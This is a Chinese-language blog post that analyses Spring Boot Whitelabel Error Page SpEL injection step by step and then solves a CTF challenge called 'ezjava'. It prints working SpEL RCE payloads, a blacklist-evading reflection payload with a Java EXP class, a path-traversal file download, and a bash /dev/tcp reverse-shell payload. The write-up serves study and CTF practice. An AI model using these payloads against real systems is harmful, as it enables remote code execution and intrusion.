首页 > 其他分享 >SPEL注入流程分析及CTF中如何使用

SPEL注入流程分析及CTF中如何使用

时间:2022-12-14 13:11:31浏览次数:76  
标签:java String 流程 request SPEL return CTF import new

配置

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce,导入maven依赖

为了后期debug调试简便些,可以修改一下控制器
在这里插入图片描述
修改后运行,访问localhost:9091/article?id=\${5*5},出现结果25则为配置成功

wKg0C2N7bKWABrnTAACENxf5AoA159.png

影响版本

SpringBoot 1.1.0-1.1.12
SpringBoot 1.2.0-1.2.7
SpringBoot 1.3.0

利用条件是使用了springboot的默认错误页(Whitelabel Error Page),漏洞点在:org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration

触发原因

漏洞的触发点在SpringBoot的自定义错误页面,功能是页面返回错误,并提供详细信息,信息中包括错误status("status"->500)、时间戳("timestamp"->"Fri Dec.....")、错误信息("error"->"Internal Server Error")、和用户输入的参数("message"->"abcd"),这些参数在模板文件中以类似于以下形式存在:”Error 1234 \${status}---\${timestamp}---\${error}---\${message}“。

在用户传入数据后,后端会判断${和它之后的}位置,若数据中存在\${},则会将他去掉,即:若${5*5},在经过判断后变为5*5

去掉${}后的值会通过org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder传入SpEL引擎,SpEL引擎将将直接对payload进行解析,造成了最终的rce

漏洞复现

SpEL使用 #{} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用符号$ 如:${someProperty}

除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

#{T(java.lang.Math)}
T()运算符的结果会返回一个java.lang.Math类对象。

由字符串格式转换成 0x**,即 java 字节形式,方便代码执行:

payload = 'calc'
res = ''
for i in payload:
    res += hex(ord(i)) + ','

print(res.rstrip(','))

#${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

传参后弹出calc,成功执行

wKg0C2N7bLiAPnciAABqd1mzzNQ702.png

流程分析

先启动debug,再打断点,再传参

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

传参http://localhost:9091/article?id=\${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))}后开始调试

首先在193行,会将map的值传入,context的rootObject中,之后以this.templatethis.resolver为参数调用replacePlaceholders方法。这里的this.template为渲染界面的源代码

\<html>\<body>\<h1>Whitelabel Error Page\</h1>\<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.\</p>\<div id='created'>\${timestamp}\</div>\<div>There was an unexpected error (type=\${error}, status=\${status}).\</div>\<div>\${message}\</div>\</body>\</html>

在这里插入图片描述
跟进replacePlaceholders,会调用parseStringValue,value为上边的this.template
在这里插入图片描述

跟进parseStringValue
在这里插入图片描述
在这里插入图片描述

StringBuilderstrVal转为字符串,并赋值给result(strVal就是之前this.template的值)

:判断this.placeholderPrefix的首次出现位置,这里placeholderPrefix="${",所以判断后在索引为157的位置找到了第一个\${

findPlaceholderEndIndex判断157后边的第一个}位置

:结果为168

substring截取157和168的中间值,即:placeholder=timestamp

:递归调用,又调用了parseStringValue,此时第一个参数placeholder=timestamp

递归后,strVal的值变为timestamp,所以在indexOf判断时,由于没出现${,所以变为了-1,跳过了while循环,直接执行下边的return result.toString();
在这里插入图片描述
本次递归结束后,回到145行,继续向下执行进入resolvePlaceholder
在这里插入图片描述
跟进resolvePlaceholder,先通过parseExpression解析timestamp,再将context中timestamp的值赋给value,再通过retrun输出
在这里插入图片描述
执行完毕后timestamp的值赋给propVal,此时propVal的值不为空,所以直接跳到了下边的if判断,之后就是在162行处,再次递归调用,判断值Sun May 01 12:32:14 CST 2022中是否有${},跟之前递归一样如果第一个参数中没有${,则直接return第一个参数的值,因此这次就不再跟进了。

在这里插入图片描述
之后就是进行replace替换,将原来的${timestamp}处的值替换成了 Sun May 01 12:32:14 CST 2022,最后return result.toString();返回
在这里插入图片描述

至此第一次递归结束

第二次递归后startIndex和endIndex的值分别变成了232,239,这是因为在此前将${timestamp}进行了替换,所以这个地方就没有${},于是就需要向下寻找当找到${error}时,发现了\${,并且索引为232;239也同理,再之后的流程跟之前一样不分析了
在这里插入图片描述

第三次是\${status},也同理
在这里插入图片描述

第四次就是我们用户传入的message了,再跟进分析下(147行前就不解释了)
在这里插入图片描述
直接进入147行的resolvePlaceholder,但这里由于还没有去掉${},所以这里并没有执行calc
在这里插入图片描述

继续往下看propVal有值,所以跳到162行处,又进行了递归(去除${})
在这里插入图片描述

这次递归在经过substring处理后,就去除了${}
在这里插入图片描述
最后进入resolvePlaceholder,成功执行T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))
在这里插入图片描述

CTF—ezjava

tomcat.apache.org,下载tomcat包

https://repo.spring.io/,下载org.springframework.spring下的包

IDEA中,File->Project Structrue->Libraries中将tomcat\lib\servlet-api.jarspring\libs\导入即可
在这里插入图片描述

下载web.xml找到 TestServlet.class 文件,路径是 test388 /download?filename=../../../classes/com/abc/servlet/TestServlet.class下载源文件

wKg0C2N7bhqAJO5eAACNmUoPgA8383.png

可以用在线反编译工具进行反编译JAVA反向工程网 (javare.cn)

package com.abc.servlet;

import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class TestServlet extends HttpServlet {

   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      this.doPost(req, resp);
   }

   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      try {
         String e = request.getParameter("name");
         e = new String(e.getBytes("ISO8859-1"), "UTF-8");
         if(this.blackMatch(e)) {
            request.setAttribute("message", "name is invalid");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
            return;
         }

         System.out.println(e);
         String message = this.getAdvanceValue(e);
         request.setAttribute("message", message);
         request.getRequestDispatcher("/message.jsp").forward(request, response);
      } catch (Exception var5) {
         request.setAttribute("message", "error");
         request.getRequestDispatcher("/message.jsp").forward(request, response);
      }

   }

   private boolean blackMatch(String val) {
      String[] var2 = this.getBlacklist();
      int var3 = var2.length;

      for(int var4 = 0; var4 < var3; ++var4) {
         String keyword = var2[var4];
         Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
         if(matcher.find()) {
            return true;
         }
      }

      return false;
   }

   private String getAdvanceValue(String val) {
      TemplateParserContext parserContext = new TemplateParserContext();
      SpelExpressionParser parser = new SpelExpressionParser();
      Expression exp = parser.parseExpression(val, parserContext);
      StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
      return exp.getValue(evaluationContext).toString();
   }

   private String[] getBlacklist() {
      return new String[]{"java.+lang", "Runtime", "exec.*\\("};
   }
}

很明显SPEL注入,但导入到IDEA后发现没有servlet、和expression包,所以先配置一下

导入后进行审计,doGet,doPost,对GET或POST传参进行处理,这里参数name在Post中,所以要进行Post传参调用doPost方法,但doGet方法同样也会调用doPost,所以本题无论GET、POST传参都可

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        String name = request.getParameter("name");
        name = new String(name.getBytes("ISO8859-1"), "UTF-8");
        if (this.blackMatch(name)) {
            request.setAttribute("message", "name is invalid");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
            return;
        }

blackMatch方法中会调用getBlacklist方法,进行黑名单检测(java.lang、Runtime、exec)

private boolean blackMatch(String val) {
    String[] var2 = this.getBlacklist();
    int var3 = var2.length;

    for(int var4 = 0; var4 < var3; ++var4) {
        String keyword = var2[var4];
        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
        if (matcher.find()) {
            return true;
        }
    }

    return false;
}

private String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\\("};
    }

最后就是SPEL注入的利用点了

private String getAdvanceValue(String val) {
ParserContext parserContext = new TemplateParserContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(val, parserContext);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
return exp.getValue(evaluationContext).toString();
}

构造payload本地测试

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

EXP

package WangRenBei;

import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

import java.io.UnsupportedEncodingException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class TestServlet1 {
public static void  main(String[] args) throws UnsupportedEncodingException {
String name="#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})}\n";
name = new String(name.getBytes("ISO8859-1"), "UTF-8");
if (blackMatch(name)) {
System.out.println("failed");
}
System.out.println(name);
String message =getAdvanceValue(name);
}
public static boolean blackMatch(String val) {
String[] var2 = getBlacklist();
int var3 = var2.length;

    for(int var4 = 0; var4 \< var3; ++var4) {
        String keyword = var2[var4];
        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
        if (matcher.find()) {
            return true;
        }
    }

    return false;
}

public static String getAdvanceValue(String val) {
    ParserContext parserContext = new TemplateParserContext();
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(val, parserContext);
    StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
    return exp.getValue(evaluationContext).toString();
}

public static String[] getBlacklist() {
    return new String[]{"java.+lang", "Runtime", "exec.*\\("};
}
}

成功执行calc

构造本题反弹shell的payload

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/4000 0>&1"})}

url编码后传参

wKg0C2N7bYABSa3AAFxfvvjVr4721.png

成功反弹shell

wKg0C2N7bZqAdKAwAAEDdQE8VO4596.png

分析利用链时一直用的都是${},但是ezjava中用到的是#{},所以简单的看一下
在这里插入图片描述
TemplateParserContext中,自定义了expressionPrefix的值—#{,所以本题才需要用#{}
在这里插入图片描述

标签:java,String,流程,request,SPEL,return,CTF,import,new
From: https://www.cnblogs.com/SecIN/p/16981773.html

相关文章

  • 画流程图总结
    画流程图是程序员必备的专业技能,下面是我总结的平时画流程图的一些心得体会,有不足和不标准不妥的地方请指正!首先先认识流程图有哪些常用的框框:注意:1标准的开始必须用:而不是......
  • CTF常见的加密和编码方法
    目录​​哈希摘要算法​​​​对称加密算法​​​​其他加密算法​​​​编码​​哈希摘要算法以 root 加密为例。MD4:32位的摘要算法。2add09183d0b1dc0428701df9838fbaM......
  • 日本METI备案流程
    METI备案需要提供的资料:1、METI备案文件(复印件须带有经济产业省的收讫章和Katashiki分类表)2、PSE标签照片3、体积能量密度报告4、PSE证书+报告5、营业执照等等日本站上销售......
  • Spring Cloud架构流程简介
    相对于传统的单体架构,微服务架构引入了太多的概念,让新手有点无可适从。所以,我们要清楚哪些是自身需要的。下面我们分析一下哪些组件是开发一个使用微服务架构的系统所必需......
  • RequestMappingHandlerMapping请求地址映射的初始化流程!
    之前的文章里,介绍了DispatcherSerlvet处理请求的流程。其中一个核心的步骤是:请求地址映射,即根据request获取对应的HandlerExcecutionChain。为了后续的请求地址映射,在项......
  • 详述TLS握手流程
    握手协议使用若干个报文,它们为服务器认证客户端,为客户端认证服务器,协商加密和散列算法,生成用于数据交换的密码的密钥。握手流程分为两种情况,一种是初始建立会话的完全握手流......
  • Yearning建立流程和数据源进行测试
    1.前提说明前面已经搭建好了平台,并且接入了LDAP、邮箱和钉钉,现在就是建立一下数据源和流程来进行测试,如果有什么疑问可以看上一篇文章安装Yearning审核平台2.建立流程2.......
  • Winform Vs Installer之添加自定义安装流程
    1、简介在Winform安装工具之VsInstaller介绍了VsInstaller的基本使用,可以满足基本需求,但是开发中遇到一些需要自定义安装流程的需求,如何通过VsInstaller来完成......
  • buuoj-[WUSTCTF2020]level3
    1.nowinexe64bit2.打开直接找到main函数是一个base64加密,加密表是:但是解出来是乱码。。然后查了一下(x)谁调用了base64表,发现了这个东西那就是变表了。。写个脚本......
  • 【Unity】超级坦克大战(二)游戏流程
    更新日期:2020年7月9日。项目源码:在终章发布索引​​本章最佳实践​​​​正式开始​​​​登录流程​​​​准备流程​​​​关卡选择流程​​​​闯关流程​​​​启用所......